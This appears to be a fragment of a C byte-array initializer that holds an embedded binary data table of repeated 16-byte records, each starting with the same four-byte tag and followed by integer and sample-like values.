0xa5,0x01,0x0c,0x01, 0x08,0x00,0x00,0x00, 0x8d,0xe0,0x97,0xff, 0x97,0xff,0xeb,0x83,
0x17,0xc2,0xc6,0x8f, 0xa5,0x01,0x0c,0x01, 0x85,0xff,0xff,0xff, 0x8c,0xda,0xb3,0xff,
0x94,0xff,0xd8,0xa0, 0xc7,0x06,0xc8,0xe3, 0xa5,0x01,0x0c,0x01, 0xc9,0xff,0xff,0xff,
0x99,0xd1,0xc2,0xff, 0x97,0xff,0xcd,0xa3, 0x9b,0x59,0xbf,0xde, 0xa5,0x01,0x0c,0x01,
0xb6,0xff,0xff,0xff, 0x85,0xbb,0xb1,0xff, 0x95,0xff,0xf1,0xb2, 0x98,0x7d,0xe2,0xfd,
0xa5,0x01,0x0c,0x01, 0xad,0xff,0xff,0xff, 0x81,0xc6,0x9d,0xff, 0x8a,0xff,0xf4,0x8a,
0x86,0x67,0xcd,0x9b, 0xa5,0x01,0x0c,0x01, 0xd3,0xff,0xff,0xff, 0x8a,0xdd,0xce,0xff,
0xa4,0xff,0xc0,0x97, 0xb4,0xf9,0xb3,0xc1, 0xa5,0x01,0x0c,0x01, 0x1b,0x00,0x00,0x00,
0x83,0xe1,0x9b,0xff, 0x8e,0xff,0xe6,0x82, 0xc5,0x05,0xc1,0x90, 0xa5,0x01,0x0c,0x01,
0x00,0x00,0x00,0x00, 0x94,0xdd,0x95,0xff, 0x93,0xff,0xeb,0x82, 0xd3,0xf7,0xc4,0x8c,
0xa5,0x01,0x0c,0x01, 0x0b,0x00,0x00,0x00, 0x8f,0xd9,0x97,0xff, 0x8b,0xff,0xe9,0x81,
0xbd,0x06,0xc3,0x8d, 0xa5,0x01,0x0c,0x01, 0x12,0x00,0x00,0x00, 0x99,0xeb,0x99,0xff,
0x9a,0xff,0xd6,0x82, 0xcf,0x02,0xb6,0x89, 0xa5,0x01,0x0c,0x01, 0xbe,0xff,0xff,0xff,
0x90,0xf1,0x9b,0xff, 0xa5,0xff,0xd0,0x86, 0xe7,0xdd,0xb6,0x8a, 0xa5,0x01,0x0c,0x01,
0x3e,0x00,0x00,0x00, 0x81,0xe7,0xb0,0xff, 0x91,0xff,0xd6,0x8c, 0xbf,0xff,0xbd,0xa5,
0xa5,0x01,0x0c,0x01, 0xfb,0xff,0xff,0xff, 0x86,0xae,0x89,0xff, 0x84,0xff,0x09,0x84,
0xa5,0x71,0xf6,0xb1, 0xa5,0x01,0x0c,0x01, 0x1b,0x00,0x00,0x00, 0x85,0x24,0xbb,0xff,
0x9f,0xfe,0x5a,0xcb, 0x43,0x50,0x3f,0x92, 0xa5,0x01,0x0c,0x01, 0xf8,0xff,0xff,0xff,
0x8e,0xbd,0x8a,0xff, 0x84,0xff,0x08,0x82, 0x8a,0x73,0xe0,0x9c, 0xa5,0x01,0x0c,0x01,
0x31,0x00,0x00,0x00, 0x85,0xe3,0x9a,0xff, 0x90,0xff,0xeb,0x81, 0xcb,0xff,0xc3,0x8f,
0xa5,0x01,0x0c,0x01, 0x0b,0x00,0x00,0x00, 0x8a,0xc0,0xa9,0xff, 0x96,0xff,0xfd,0x9f,
0x90,0x95,0xdc,0xa5, 0xa5,0x01,0x0c,0x01, 0xb2,0xff,0xff,0xff, 0x81,0xd9,0xbe,0xff,
0x95,0xff,0xc9,0x92, 0x8f,0x4e,0xb2,0xa5, 0xa5,0x01,0x0c,0x01, 0x13,0x00,0x00,0x00,
0x9c,0x54,0xcf,0xff, 0xa3,0xff,0x8b,0x89, 0x0a,0x18,0x23,0xab, 0xa5,0x01,0x0c,0x01,
0xc7,0xff,0xff,0xff, 0x8e,0xd3,0x93,0xff, 0x8c,0xff,0xee,0x82, 0xe9,0xe6,0xc7,0x8f,
0xa5,0x01,0x0c,0x01, 0xf6,0xff,0xff,0xff, 0x8f,0x04,0xb3,0xff, 0xb3,0xff,0xae,0x81,
0x11,0xac,0x9e,0x88, 0xa5,0x01,0x0c,0x01, 0x13,0x00,0x00,0x00, 0x9e,0x46,0xbf,0xff,
0xa4,0xff,0x9d,0x88, 0x00,0x11,0x2d,0xab, 0xa5,0x01,0x0c,0x01, 0x30,0x00,0x00,0x00,
0x82,0xb1,0x8e,0xff, 0x83,0xff,0x06,0x82, 0x86,0x17,0xf7,0xa1, 0xa5,0x01,0x0c,0x01,
0xdc,0xff,0xff,0xff, 0x81,0xe2,0xd2,0xff, 0x9e,0xff,0xb3,0x90, 0x8e,0x21,0xa5,0x9f,
0xa5,0x01,0x0c,0x01, 0xdc,0xff,0xff,0xff, 0x83,0xdd,0xc7,0xff, 0x9f,0xff,0xca,0x98,
0x92,0x5c,0xb6,0xaf, 0xa5,0x01,0x0c,0x01, 0xb8,0xff,0xff,0xff, 0x86,0xca,0xae,0xff,
0x8f,0xff,0xed,0x99, 0x8b,0x83,0xcd,0xb6, 0xa5,0x01,0x0c,0x01, 0x2d,0x00,0x00,0x00,
0x84,0xf9,0xac,0xff, 0x9b,0xff,0xc6,0x81, 0xd9,0xe4,0xab,0x8d, 0xa5,0x01,0x0c,0x01,
0x09,0x00,0x00,0x00, 0x84,0xdd,0x96,0xff, 0x8d,0xff,0xf1,0x82, 0xbf,0x04,0xc8,0x90,
0xa5,0x01,0x0c,0x01, 0xdc,0xff,0xff,0xff, 0x95,0xe6,0xce,0xff, 0x95,0xff,0xb0,0x8b,
0x8d,0x2d,0xa1,0x98, 0xa5,0x01,0x0c,0x01, 0xb8,0xff,0xff,0xff, 0x95,0xce,0x9e,0xff,
0x8d,0xff,0xed,0x91, 0xb0,0x1a,0xcd,0xb1, 0xa5,0x01,0x0c,0x01, 0xdc,0xff,0xff,0xff,
0x93,0xd6,0xc8,0xff, 0x98,0xff,0xce,0x95, 0x8d,0x65,0xb7,0xad, 0xa5,0x01,0x0c,0x01,
0xb5,0xff,0xff,0xff, 0x81,0xc3,0xb3,0xff, 0x96,0xff,0xf1,0xad, 0x92,0x73,0xda,0xf7,
0xa5,0x01,0x0c,0x01, 0xf7,0xff,0xff,0xff, 0x8b,0xdb,0x93,0xff, 0x8e,0xfe,0xf7,0x81,
0xc3,0x07,0xce,0x92, 0xa5,0x01,0x0c,0x01, 0x09,0x00,0x00,0x00, 0x88,0xe3,0x95,0xff,
0xa2,0xff,0xe7,0x87, 0x48,0xaa,0xc3,0x90, 0xa5,0x01,0x0c,0x01, 0x34,0x00,0x00,0x00,
0x81,0xe5,0xab,0xff, 0x90,0xff,0xe3,0x8c, 0xd0,0xfe,0xc5,0xb3, 0xa5,0x01,0x0c,0x01,
0x28,0x00,0x00,0x00, 0x90,0xd8,0x94,0xff, 0x8d,0xff,0xec,0x81, 0xba,0x15,0xc4,0x8e,
0xa5,0x01,0x0c,0x01, 0xc0,0xff,0xff,0xff, 0x8e,0xba,0xa8,0xff, 0x8b,0xff,0xfa,0xa4,
0x98,0x38,0xe2,0xff, 0xa5,0x01,0x0c,0x01, 0xb6,0xff,0xff,0xff, 0x85,0xb0,0xa8,0xff,
0x91,0xff,0xf4,0xb8, 0xa4,0x6f,0xf1,0xf7, 0xa5,0x01,0x0c,0x01, 0x00,0x00,0x00,0x00,
0x8f,0xd9,0x95,0xff, 0x8d,0xff,0xf5,0x81, 0xbb,0x0b,0xcb,0x8f, 0xa5,0x01,0x0c,0x01,
0x08,0x00,0x00,0x00, 0x87,0xe0,0x97,0xff, 0x8f,0xff,0xed,0x82, 0xca,0x07,0xc5,0x8f,
0xa5,0x01,0x0c,0x01, 0x4a,0x00,0x00,0x00, 0xf0,0xde,0xb0,0xff, 0xd9,0xff,0xbe,0xac,
0x0f,0xb3,0xbb,0x83, 0xa5,0x01,0x0c,0x01, 0x28,0x00,0x00,0x00, 0x88,0xd8,0x97,0xff,
0x89,0xff,0xf1,0x82, 0x85,0x77,0xc6,0x8f, 0xa5,0x01,0x0c,0x01, 0xa3,0xff,0xff,0xff,
0x9e,0xe8,0xa6,0xff, 0x91,0xff,0xd0,0x85, 0xbd,0x1d,0xb4,0x8d, 0xa5,0x01,0x0c,0x01,
0xff,0xff,0xff,0xff, 0x9c,0xe4,0x95,0xff, 0x96,0xff,0xe2,0x82, 0xd3,0x03,0xbe,0x8b,
0xa5,0x01,0x0c,0x01, 0x94,0xff,0xff,0xff, 0x89,0xe1,0x97,0xff, 0x94,0xff,0xe7,0x87,
0xf8,0xde,0xc4,0x8e, 0xa5,0x01,0x0c,0x01, 0x41,0x00,0x00,0x00, 0x8f,0x00,0xb4,0xff,
0xab,0xff,0xad,0x82, 0x00,0xb5,0x9e,0x8b, 0xa5,0x01,0x0c,0x01, 0x53,0x00,0x00,0x00,
0xf3,0xe5,0xae,0xff, 0xd5,0xff,0xb7,0xa2, 0x04,0xc1,0xaf,0x82, 0xa5,0x01,0x0c,0x01,
0xb8,0xff,0xff,0xff, 0x8f,0xbd,0xa2,0xff, 0x87,0xff,0xf9,0x9e, 0x99,0x2a,0xe0,0xdb,
0xa5,0x01,0x0c,0x01, 0xe3,0xff,0xff,0xff, 0x94,0xdf,0xd2,0xff, 0xa6,0xff,0xd6,0xb0,
0x98,0xad,0xc4,0x8e, 0xa5,0x01,0x0c,0x01, 0x4c,0x00,0x00,0x00, 0x93,0xce,0x99,0xff,
0x89,0xff,0xf8,0x89, 0xa3,0x1f,0xd3,0x9b, 0xa5,0x01,0x0c,0x01, 0xc0,0xff,0xff,0xff,
0x8e,0xb9,0xae,0xff, 0x92,0xff,0xec,0xb8, 0x9d,0x74,0xe5,0xf6, 0xa5,0x01,0x0c,0x01,
0x5f,0x00,0x00,0x00, 0x8b,0xd1,0xa1,0xff, 0x88,0xff,0xf6,0x92, 0xb3,0x18,0xd6,0xbb,
0xa5,0x01,0x0c,0x01, 0x09,0x00,0x00,0x00, 0x8a,0xe2,0x96,0xff, 0x92,0xff,0xe8,0x81,
0xd6,0xfb,0xc2,0x8e, 0xa5,0x01,0x0c,0x01, 0xbe,0xff,0xff,0xff, 0x98,0xee,0x9d,0xff,
0xa7,0xff,0xd5,0x8a, 0xdb,0xe6,0xba,0x88, 0xa5,0x01,0x0c,0x01, 0xf7,0xff,0xff,0xff,
0x84,0xae,0xdb,0xff, 0xe2,0xff,0xf7,0xf0, 0xb9,0x2d,0xf2,0x98, 0xa5,0x01,0x0c,0x01,
0x68,0x00,0x00,0x00, 0xb4,0xc8,0x8f,0xff, 0x9b,0xff,0xe6,0xa7, 0xb2,0xe8,0xd7,0x83,
0xa5,0x01,0x0c,0x01, 0x00,0x00,0x00,0x00, 0x96,0xdd,0x94,0xff, 0x92,0xff,0xe8,0x82,
0xce,0x01,0xc2,0x8c, 0xa5,0x01,0x0c,0x01, 0x0b,0x00,0x00,0x00, 0x88,0xdf,0x97,0xff,
0x8f,0xff,0xe7,0x82, 0xcc,0xfa,0xc1,0x8c, 0xa5,0x01,0x0c,0x01, 0x5e,0x00,0x00,0x00,
0x82,0xe3,0xb0,0xff, 0x8e,0xff,0xd9,0x92, 0xc0,0x0f,0xbe,0xc1, 0xa5,0x01,0x0c,0x01,
0xb6,0xff,0xff,0xff, 0x87,0xb6,0xa6,0xff, 0x94,0xff,0xf9,0xac, 0x98,0x74,0xe8,0xf2,
0xa5,0x01,0x0c,0x01, 0x09,0x00,0x00,0x00, 0x86,0xde,0x97,0xff, 0x8e,0xff,0xef,0x82,
0xbd,0x06,0xc7,0x90, 0xa5,0x01,0x0c,0x01, 0xff,0xff,0xff,0xff, 0x93,0xe5,0x95,0xff,
0x95,0xff,0xe4,0x81, 0xd4,0x03,0xc0,0x8c, 0xa5,0x01,0x0c,0x01, 0xb6,0xff,0xff,0xff,
0x85,0xc4,0xad,0xff, 0x92,0xff,0xec,0xab, 0xa3,0x2e,0xda,0xfa, 0xa5,0x01,0x0c,0x01,
0xa9,0xff,0xff,0xff, 0x92,0xcd,0xa1,0xff, 0x8b,0xff,0xef,0x8e, 0x88,0x8e,0xca,0x97,
0xa5,0x01,0x0c,0x01, 0x67,0x00,0x00,0x00, 0xe2,0xe9,0xba,0xff, 0xf0,0xff,0xa5,0x90,
0x0d,0x8a,0x9e,0x83, 0xa5,0x01,0x0c,0x01, 0x14,0x00,0x00,0x00, 0x83,0xd2,0xa1,0xff,
0x8e,0xff,0xf0,0x94, 0x66,0x99,0xd1,0x97, 0xa5,0x01,0x0c,0x01, 0x00,0x00,0x00,0x00,
0x90,0xdb,0x94,0xff, 0x90,0xff,0xf2,0x82, 0xd5,0xf2,0xcc,0x91, 0xa5,0x01,0x0c,0x01,
0xf7,0xff,0xff,0xff, 0x8d,0xd4,0x8f,0xff, 0x93,0xff,0xf8,0x82, 0xd4,0xe5,0xd0,0x92,
0xa5,0x01,0x0c,0x01, 0x06,0x00,0x00,0x00, 0x89,0xf7,0x9f,0xff, 0xab,0xff,0xcc,0x85,
0x47,0xa5,0xb1,0x8a, 0xa5,0x01,0x0c,0x01, 0xb6,0xff,0xff,0xff, 0xa1,0xb2,0x9a,0xff,
0x88,0xff,0xee,0xaf, 0x98,0x26,0xe7,0xf3, 0xa5,0x01,0x0c,0x01, 0x23,0x00,0x00,0x00,
0x9b,0xfc,0xa6,0xff, 0xa2,0xff,0xc9,0x81, 0xda,0xee,0xae,0x89, 0xa5,0x01,0x0c,0x01,
0xdc,0xff,0xff,0xff, 0x84,0xcf,0xcf,0xff, 0xa4,0xff,0xca,0x9c, 0x8c,0x4a,0xba,0xba,
0xa5,0x01,0x0c,0x01, 0x67,0x00,0x00,0x00, 0xc1,0xf6,0xb0,0xff, 0xd0,0xff,0xaa,0x8d,
0x10,0x9b,0x9e,0x84, 0xa5,0x01,0x0c,0x01, 0x62,0x00,0x00,0x00, 0x91,0xf7,0xb4,0xff,
0xa0,0xff,0xba,0x85, 0xc4,0xea,0xa6,0x90, 0xa5,0x01,0x0c,0x01, 0xd3,0xff,0xff,0xff,
0x9b,0xda,0xc5,0xff, 0x97,0xff,0xc5,0x9c, 0x99,0x4d,0xb7,0xcc, 0xa5,0x01,0x0c,0x01,
0x00,0x00,0x00,0x00, 0x93,0xde,0x95,0xff, 0x91,0xff,0xf0,0x82, 0xd8,0xfb,0xcb,0x8f,
0xa5,0x01,0x0c,0x01, 0x16,0x00,0x00,0x00, 0x8f,0xe7,0x97,0xff, 0x9b,0xff,0xe3,0x82,
0x13,0xca,0xc1,0x8c, 0xa5,0x01,0x0c,0x01, 0xff,0xff,0xff,0xff, 0x8f,0xe8,0x98,0xff,
0x98,0xff,0xe0,0x82, 0xe2,0xec,0xbd,0x8c, 0xa5,0x01,0x0c,0x01, 0x08,0x00,0x00,0x00,
0x89,0xda,0x8f,0xff, 0x88,0xff,0xe9,0x86, 0x88,0x9b,0xbb,0x88, 0xa5,0x01,0x0c,0x01,
0x09,0x00,0x00,0x00, 0x86,0xe2,0x9b,0xff, 0x8f,0xff,0xef,0x81, 0xda,0xf1,0xc8,0x90,
0xa5,0x01,0x0c,0x01, 0x09,0x00,0x00,0x00, 0x96,0xe3,0x96,0xff, 0x95,0xff,0xe3,0x81,
0xd4,0xfc,0xbe,0x8b, 0xa5,0x01,0x0c,0x01, 0x57,0x00,0x00,0x00, 0x94,0xb0,0x8c,0xff,
0x84,0xff,0x03,0x87, 0x86,0x21,0xf5,0xa3, 0xa5,0x01,0x0c,0x01, 0x09,0x00,0x00,0x00,
0x90,0xdb,0x91,0xff, 0x90,0xff,0xf2,0x82, 0xbe,0x08,0xcb,0x91, 0xa5,0x01,0x0c,0x01,
0xaa,0xff,0xff,0xff, 0xa8,0xeb,0xd1,0xff, 0xc3,0xff,0x90,0x91, 0x4d,0xb3,0x8f,0x83,
0xa5,0x01,0x0c,0x01, 0x13,0x00,0x00,0x00, 0x82,0xdd,0x98,0xff, 0x92,0xff,0xef,0x81,
0x18,0xc4,0xc8,0x94, 0xa5,0x01,0x0c,0x01, 0xa5,0xff,0xff,0xff, 0xab,0x00,0xa5,0xff,
0xbb,0xff,0xb3,0x85, 0x18,0xb5,0xa4,0x86, 0xa5,0x01,0x0c,0x01, 0x92,0xff,0xff,0xff,
0x98,0xfd,0xa9,0xff, 0xbe,0xff,0xb1,0x86, 0x1a,0xa3,0xa0,0x87, 0xa5,0x01,0x0c,0x01,
0xa2,0xff,0xff,0xff, 0xb3,0xdf,0x96,0xff, 0xa2,0xff,0xdf,0x92, 0xce,0xf4,0xc1,0x86,
0xa5,0x01,0x0c,0x01, 0x5d,0x00,0x00,0x00, 0xd6,0xeb,0xc1,0xff, 0x04,0xff,0x9d,0x96,
0x28,0x84,0x9d,0x82, 0xa5,0x01,0x0c,0x01, 0x2e,0x00,0x00,0x00, 0x98,0xfc,0xab,0xff,
0x9c,0xff,0xcc,0x87, 0xad,0x12,0xb4,0x8d, 0xa5,0x01,0x0c,0x01, 0xb6,0xff,0xff,0xff,
0x90,0xb2,0x9d,0xff, 0x86,0xff,0xf5,0xae, 0x97,0x33,0xed,0xfd, 0xa5,0x01,0x0c,0x01,
0x59,0x00,0x00,0x00, 0x8a,0xf9,0xc0,0xff, 0xaa,0xff,0xa7,0x85, 0xf0,0xa6,0x9d,0x90,
0xa5,0x01,0x0c,0x01, 0x13,0x00,0x00,0x00, 0x89,0xe4,0x98,0xff, 0x92,0xff,0xf1,0x82,
0xcb,0x06,0xcc,0x92, 0xa5,0x01,0x0c,0x01, 0x28,0x00,0x00,0x00, 0x88,0xd9,0x95,0xff,
0x8a,0xff,0xeb,0x82, 0x85,0x6c,0xc2,0x8e, 0xa5,0x01,0x0c,0x01, 0x40,0x00,0x00,0x00,
0xe1,0xd3,0x9e,0xff, 0xb5,0xff,0xd2,0xb0, 0xed,0xcc,0xc6,0x83, 0xa5,0x01,0x0c,0x01,
0x00,0x00,0x00,0x00, 0x91,0xdb,0x94,0xff, 0x8e,0xff,0xf1,0x82, 0xbe,0x08,0xcb,0x91,
0xa5,0x01,0x0c,0x01, 0x3b,0x00,0x00,0x00, 0x8f,0xe7,0x9b,0xff, 0x91,0xff,0xe4,0x82,
0xb7,0x1c,0xbc,0x89, 0xa5,0x01,0x0c,0x01, 0x08,0x00,0x00,0x00, 0x8f,0xe9,0x98,0xff,
0x98,0xfe,0xe5,0x82, 0xed,0xeb,0xc2,0x8d, 0xa5,0x01,0x0c,0x01, 0x18,0x00,0x00,0x00,
0x8a,0x02,0xac,0xff, 0x9c,0xff,0xe6,0x96, 0x9a,0x25,0xcf,0x8b, 0xa5,0x01,0x0c,0x01,
0xc9,0xff,0xff,0xff, 0x88,0xb7,0xb0,0xff, 0x90,0xff,0xeb,0xb0, 0x97,0x34,0xdf,0xfb,
0xa5,0x01,0x0c,0x01, 0x71,0x00,0x00,0x00, 0xbf,0xc9,0x91,0xff, 0x9f,0xff,0xe6,0xaa,
0xbd,0xe7,0xd3,0x84, 0xa5,0x01,0x0c,0x01, 0x09,0x00,0x00,0x00, 0x89,0xe6,0x98,0xff,
0x95,0xff,0xe9,0x82, 0xe7,0xec,0xc3,0x8f, 0xa5,0x01,0x0c,0x01, 0x56,0x00,0x00,0x00,
0x8e,0xc5,0x96,0xff, 0x88,0xff,0xfe,0x90, 0x9d,0x16,0xdf,0xab, 0xa5,0x01,0x0c,0x01,
0xee,0xff,0xff,0xff, 0x81,0xbb,0x89,0xff, 0x83,0xff,0x06,0x85, 0x8c,0x84,0xe1,0x99,
0xa5,0x01,0x0c,0x01, 0x4e,0x00,0x00,0x00, 0x8a,0xee,0xc0,0xff, 0x9f,0xff,0xad,0x89,
0xde,0xbd,0xa2,0x97, 0xa5,0x01,0x0c,0x01, 0x70,0x00,0x00,0x00, 0x8c,0xef,0xc2,0xff,
0x9d,0xff,0xad,0x87, 0xdb,0xbb,0xa2,0x95, 0xa5,0x01,0x0c,0x01, 0xdc,0xff,0xff,0xff,
0x9f,0xe3,0xca,0xff, 0x9a,0xff,0xb1,0x8e, 0x90,0x27,0xa5,0x9b, 0xa5,0x01,0x0c,0x01,
0x00,0x00,0x00,0x00, 0x8b,0xd4,0x89,0xff, 0x8c,0xff,0xf1,0x8f, 0x92,0xb3,0xc4,0x8b,
0xa5,0x01,0x0c,0x01, 0x09,0x00,0x00,0x00, 0x85,0xdf,0x96,0xff, 0x8f,0xff,0xe8,0x81,
0xc6,0x07,0xc1,0x8f, 0xa5,0x01,0x0c,0x01, 0x67,0x00,0x00,0x00, 0xcb,0xf6,0xb4,0xff,
0xd6,0xff,0xa7,0x8c, 0x0f,0x91,0x9d,0x84, 0xa5,0x01,0x0c,0x01, 0x67,0x00,0x00,0x00,
0xe2,0xee,0xb7,0xff, 0xe7,0xff,0xa5,0x8e, 0x11,0x87,0x9e,0x84, 0xa5,0x01,0x0c,0x01,
0x00,0x00,0x00,0x00, 0x94,0xd7,0xcb,0xff, 0xe3,0xff,0xe8,0xe3, 0xa9,0xc0,0xd7,0x8c,
0xa5,0x01,0x0c,0x01, 0xdc,0xff,0xff,0xff, 0x89,0xe2,0xd1,0xff, 0xa2,0xff,0xb8,0x94,
0x92,0x2d,0xaa,0xa7, 0xa5,0x01,0x0c,0x01, 0xf7,0xff,0xff,0xff, 0xad,0x4b,0xb9,0xff,
0xe7,0xff,0x6f,0x8a, 0x02,0xed,0x17,0x9f, 0xa5,0x01,0x0c,0x01, 0x00,0x00,0x00,0x00,
0x96,0xe6,0x9a,0xff, 0x96,0xff,0xe3,0x82, 0xf6,0xdd,0xc1,0x8b, 0xa5,0x01,0x0c,0x01,
0x60,0x00,0x00,0x00, 0x95,0xdc,0x99,0xff, 0x88,0xff,0xea,0x84, 0x86,0x90,0xc0,0x8c,
0xa5,0x01,0x0c,0x01, 0x09,0x00,0x00,0x00, 0x8d,0xdc,0x95,0xff, 0x8f,0xff,0xf1,0x82,
0xc1,0x07,0xcc,0x91, 0xa5,0x01,0x0c,0x01, 0xb6,0xff,0xff,0xff, 0x85,0xc0,0xa7,0xff,
0x8b,0xff,0xfc,0x9f, 0x9a,0x2d,0xe2,0xd9, 0xa5,0x01,0x0c,0x01, 0x00,0x00,0x00,0x00,
0x8f,0xd9,0x92,0xff, 0x8f,0xff,0xed,0x82, 0xc7,0x02,0xc5,0x8d, 0xa5,0x01,0x0c,0x01,
0x12,0x00,0x00,0x00, 0x97,0xec,0x9c,0xff, 0x96,0xff,0xda,0x81, 0xd0,0x06,0xb9,0x8a,
0xa5,0x01,0x0c,0x01, 0xa5,0xff,0xff,0xff, 0x81,0xcd,0xa3,0xff, 0x8b,0xff,0xf6,0x8c,
0x85,0x76,0xcd,0x9b, 0xa5,0x01,0x0c,0x01, 0x00,0x00,0x00,0x00, 0x96,0xe3,0x99,0xff,
0x92,0xff,0xe1,0x82, 0xca,0x02,0xbc,0x8b, 0xa5,0x01,0x0c,0x01, 0xdb,0xff,0xff,0xff,
0x92,0xd2,0xc9,0xff, 0x99,0xff,0xc9,0x96, 0x8c,0x59,0xb6,0xad, 0xa5,0x01,0x0c,0x01,
0x00,0x00,0x00,0x00, 0x92,0xdd,0x97,0xff, 0x8f,0xff,0xf0,0x82, 0xce,0xfd,0xcb,0x90,
0xa5,0x01,0x0c,0x01, 0xb6,0xff,0xff,0xff, 0x81,0xaf,0xa9,0xff, 0x93,0xff,0xf5,0xbc,
0xa3,0x6d,0xf1,0xf4, 0xa5,0x01,0x0c,0x01, 0x5d,0x00,0x00,0x00, 0xce,0xec,0xc2,0xff,
0xfd,0xff,0xa1,0x9a, 0x26,0x85,0x9e,0x82, 0xa5,0x01,0x0c,0x01, 0x7b,0x00,0x00,0x00,
0x88,0xb7,0xa0,0xff, 0x8c,0xff,0xf0,0xb6, 0x9d,0x23,0xec,0xf5, 0xa5,0x01,0x0c,0x01,
0x6c,0x00,0x00,0x00, 0x8f,0xdc,0x99,0xff, 0x8d,0xff,0xe8,0x83, 0xb6,0x1d,0xc1,0x8f,
0xa5,0x01,0x0c,0x01, 0x56,0x00,0x00,0x00, 0x93,0xdf,0x9a,0xff, 0x8d,0xff,0xe2,0x82,
0xb6,0x1c,0xbd,0x8b, 0xa5,0x01,0x0c,0x01, 0xd1,0xff,0xff,0xff, 0x84,0xd9,0x94,0xff,
0x8f,0xff,0xf4,0x83, 0xeb,0xe3,0xcc,0x92, 0xa5,0x01,0x0c,0x01, 0xb8,0xff,0xff,0xff,
0x86,0xb7,0xab,0xff, 0x96,0xff,0xf6,0xb4, 0x99,0x4c,0xe9,0xff, 0xa5,0x01,0x0c,0x01,
0xd2,0xff,0xff,0xff, 0x93,0xe0,0xc3,0xff, 0x93,0xff,0xb9,0x8c, 0x8e,0x42,0xa6,0x99,
0xa5,0x01,0x0c,0x01, 0x00,0x00,0x00,0x00, 0xd1,0xed,0xb1,0xff, 0x9b,0xff,0x07,0x83,
0xeb,0xc8,0xda,0x97, 0xa5,0x01,0x0c,0x01, 0xdc,0xff,0xff,0xff, 0x8f,0xde,0xc9,0xff,
0x97,0xff,0xbf,0x94, 0x8f,0x4b,0xaf,0xaf, 0xa5,0x01,0x0c,0x01, 0x2e,0x00,0x00,0x00,
0x89,0xf8,0xa8,0xff, 0x98,0xff,0xd1,0x81, 0xd3,0xf6,0xb3,0x8c, 0xa5,0x01,0x0c,0x01,
0xae,0xff,0xff,0xff, 0x86,0xdb,0xa4,0xff, 0x8f,0xfe,0xe9,0x89, 0xb0,0x26,0xc4,0x99,
0xa5,0x01,0x0c,0x01, 0x09,0x00,0x00,0x00, 0x93,0xea,0x98,0xff, 0x9a,0xff,0xdd,0x82,
0xe8,0xe6,0xbd,0x8b, 0xa5,0x01,0x0c,0x01, 0xc9,0xff,0xff,0xff, 0x81,0xc5,0xbf,0xff,
0x9f,0xff,0xe0,0xaf, 0x91,0x6a,0xd1,0xf6, 0xa5,0x01,0x0c,0x01, 0x09,0x00,0x00,0x00,
0x96,0xe6,0x99,0xff, 0x96,0xff,0xe9,0x82, 0xe2,0xf5,0xc5,0x8e, 0xa5,0x01,0x0c,0x01,
0x34,0x00,0x00,0x00, 0x99,0xe7,0xb1,0xff, 0x8a,0xff,0xd5,0x8b, 0x8e,0x70,0xb6,0x93,
0xa5,0x01,0x0c,0x01, 0x85,0xff,0xff,0xff, 0x91,0xce,0xa1,0xff, 0x8c,0xff,0xf5,0x97,
0xa4,0x2f,0xd5,0xb8, 0xa5,0x01,0x0c,0x01, 0xb4,0xff,0xff,0xff, 0x8e,0xe3,0x95,0xff,
0x97,0xff,0xeb,0x84, 0xfe,0xe2,0xc6,0x8f, 0xa5,0x01,0x0c,0x01, 0xf8,0xff,0xff,0xff,
0x8e,0xd1,0x8f,0xff, 0x90,0xff,0xf1,0x84, 0xe0,0xe3,0xcb,0x8e, 0xa5,0x01,0x0c,0x01,
0x00,0x00,0x00,0x00, 0x84,0xda,0x95,0xff, 0x8f,0xff,0xec,0x82, 0xee,0xde,0xc4,0x8e,
0xa5,0x01,0x0c,0x01, 0xb7,0xff,0xff,0xff, 0xaa,0xd7,0x91,0xff, 0x99,0xff,0xe9,0x90,
0xc0,0xfc,0xc9,0x87, 0xa5,0x01,0x0c,0x01, 0xff,0xff,0xff,0xff, 0x9e,0xea,0x9a,0xff,
0x9f,0xff,0xd5,0x84, 0xff,0xd4,0xb7,0x87, 0xa5,0x01,0x0c,0x01, 0x09,0x00,0x00,0x00,
0x97,0x0c,0xa4,0xff, 0x9e,0xff,0x66,0xa4, 0xcb,0x59,0x4a,0xbc, 0xa5,0x01,0x0c,0x01,
0xc7,0xff,0xff,0xff, 0x86,0xda,0x92,0xff, 0x92,0xff,0xef,0x84, 0xf1,0xde,0xc8,0x92,
0xa5,0x01,0x0c,0x01, 0x00,0x00,0x00,0x00, 0x84,0xd4,0x93,0xff, 0x8b,0xff,0xf2,0x82,
0xdd,0xec,0xca,0x90, 0xa5,0x01,0x0c,0x01, 0x13,0x00,0x00,0x00, 0x90,0xce,0xf6,0xff,
0xd5,0xff,0xe8,0xd9, 0xad,0x41,0xe0,0x96, 0xa5,0x01,0x0c,0x01, 0x2b,0x00,0x00,0x00,
0x88,0xeb,0xab,0xff, 0x8f,0xff,0xdb,0x89, 0xd4,0xfc,0xc0,0xa9, 0xa5,0x01,0x0c,0x01,
0xff,0xff,0xff,0xff, 0xc1,0x18,0xe1,0xff, 0xb1,0xff,0x18,0x85, 0x00,0xe1,0xe6,0x9e,
0xa5,0x01,0x0c,0x01, 0xba,0xff,0xff,0xff, 0x85,0xb6,0x9e,0xff, 0x8a,0xff,0xf8,0xa2,
0x8c,0x27,0xea,0xe1, 0xa5,0x01,0x0c,0x01, 0x00,0x00,0x00,0x00, 0x8b,0xe0,0x98,0xff,
0x8e,0xff,0xe8,0x82, 0xc9,0x02,0xc1,0x8c, 0xa5,0x01,0x0c,0x01, 0xad,0xff,0xff,0xff,
0x81,0xba,0xa0,0xff, 0x8c,0xff,0xfd,0x9a, 0x8b,0x6f,0xe0,0xc9, 0xa5,0x01,0x0c,0x01,
0x53,0x00,0x00,0x00, 0x87,0xde,0xa6,0xff, 0x8e,0xff,0xe0,0x90, 0xbe,0x0c,0xc4,0xb7,
0xa5,0x01,0x0c,0x01, 0x0b,0x00,0x00,0x00, 0x89,0xd6,0x92,0xff, 0x86,0xff,0xee,0x83,
0x83,0x4b,0xc3,0x8b, 0xa5,0x01,0x0c,0x01, 0xdb,0xff,0xff,0xff, 0x9c,0xc8,0x8e,0xff,
0x8b,0xff,0x02,0x87, 0x99,0x14,0xde,0x89, 0xa5,0x01,0x0c,0x01, 0x84,0xff,0xff,0xff,
0x8e,0xae,0x97,0xff, 0x88,0xff,0xf4,0xad, 0x92,0x2b,0xf3,0xfe, 0xa5,0x01,0x0c,0x01,
0x0b,0x00,0x00,0x00, 0x92,0xd3,0x91,0xff, 0x8d,0xff,0xee,0x82, 0xdd,0xeb,0xc7,0x8f,
